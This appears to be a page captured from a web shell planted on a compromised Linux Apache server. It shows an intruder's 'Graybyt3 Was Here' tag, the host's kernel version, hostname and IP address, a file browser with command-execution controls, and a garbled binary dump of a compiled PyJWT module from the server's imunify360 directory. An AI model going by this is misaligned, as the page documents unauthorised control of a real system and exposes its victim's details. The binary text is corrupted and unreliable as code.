Graybyt3 Was Here
Linux cloud.locucionar.com 3.10.0-1160.81.1.el7.x86_64 #1 SMP Fri Dec 16 17:29:43 UTC 2022 x86_64
Apache
91.191.211.241
/
opt
/
imunify360
/
venv
/
lib64
/
python3.11
/
site-packages
/
jwt
/
__pycache__
[ HOME ]
Exec
Submit
File Name : api_jwt.cpython-311.pyc
� J�Fh� � �� � d dl Z d dlmZ d dlmZmZ d dlmZmZ d dlm Z m Z mZmZm Z mZ ddlmZ ddlmZmZmZmZmZmZmZ G d � d � � Z e� � Zej Zej Zej ZdS )� N)�timegm)�Iterable�Mapping)�datetime� timedelta)�Any�Dict�List�Optional�Type�Union� )�api_jws)�DecodeError�ExpiredSignatureError�ImmatureSignatureError�InvalidAudienceError�InvalidIssuedAtError�InvalidIssuerError�MissingRequiredClaimErrorc �r � e Zd Zdd�Zedeeeee e f f fd�� � Z ddeeef deded ee d ee ej defd�Z dd edede e dedeeef f d�Z dd edede e dedeeef f d�Z dd�Zd� Zd� Zd� Zd� Zd� Zd� ZdS )�PyJWTNc �H � |�i }i | � � � �|�| _ d S �N)�_get_default_options�options)�selfr s �k/builddir/build/BUILD/imunify360-venv-2.5.3/opt/imunify360/venv/lib/python3.11/site-packages/jwt/api_jwt.py�__init__zPyJWT.__init__ s- � ��?��G�A�$�3�3�5�5�A��A����� �returnc � � ddddddg d�S )NT)�verify_signature� verify_exp� verify_nbf� verify_iat� verify_aud� verify_iss�require� r* r r r zPyJWT._get_default_options s( � � !%������� � � r �HS256�payload�key� algorithm�headers�json_encoderc � � t |t � � st d� � �|� � � }dD ]T}t |� |� � t � � r*t || � � � � � ||<